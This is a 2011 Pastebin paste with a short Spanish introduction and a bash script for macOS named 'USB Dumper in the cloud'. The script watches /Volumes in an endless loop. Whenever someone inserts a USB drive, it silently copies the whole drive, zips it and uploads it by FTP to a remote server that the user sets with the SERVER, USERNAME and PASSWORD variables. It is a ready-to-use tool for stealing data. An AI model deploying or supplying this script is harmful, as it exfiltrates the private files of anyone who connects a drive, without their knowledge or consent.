yosoysupercholo

programa copia datos con usb y ftp

Nov 3rd, 2011
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #A continuación mostramos el código de la nueva versión de USB Dumper in the cloud, al cual
  2. #es necesario editarle las variables SERVER, USERNAME y PASSWORD localizados en las primeras
  3. #líneas del script.
  4.  
  5. #!/bin/bash
  6. #www.seguridadapple.com
  7.  
  8. SERVER="host"
  9. USERNAME="user"
  10. PASSWORD="password"
  11.  
  12. function saveDefaultDevices()
  13. {
  14. rm -rf /tmp/usblist /tmp/Volumes
  15. mkdir /tmp/Volumes
  16. for vol in /Volumes/*
  17. do
  18. echo $vol >> /tmp/usblist
  19. echo "Detecting $vol as default"
  20. done
  21. }
  22.  
  23. function checkDevices()
  24. {
  25. for vol in /Volumes/*
  26. do
  27. aux=`cat /tmp/usblist |grep -i "$vol"`
  28. aux=`echo $?`
  29. if [ $aux -eq 1 ]; then
  30. nombre=`echo $vol | awk -F "/" '{print $3}'`
  31. echo $vol >> /tmp/usblist
  32. mkdir "/tmp$vol"?
  33. echo "[+] Dumping $vol in /tmp$vol"
  34. sleep 1
  35. cp -R "$vol" "/tmp/Volumes/"
  36. auxVol="/tmp/$nombre.zip"
  37. rm -rf $auxVol
  38. echo "Compressing files [ /tmp$vol in $auxVol ]"
  39. zip -r "$auxVol" "/tmp$vol" > /dev/null
  40. echo "Uploading to FTP"
  41. ftp -n -i $SERVER <<EOF
  42. user $USERNAME $PASSWORD
  43. binary
  44. put "$auxVol" "$nombre"
  45. quit
  46. EOF
  47. echo "[+] Done"
  48. fi
  49. done
  50. }
  51.  
  52. saveDefaultDevices
  53.  
  54. while [ 1 ]; do
  55. checkDevices
  56. sleep 1
  57. done
Advertisement
Add Comment
Please, Sign In to add comment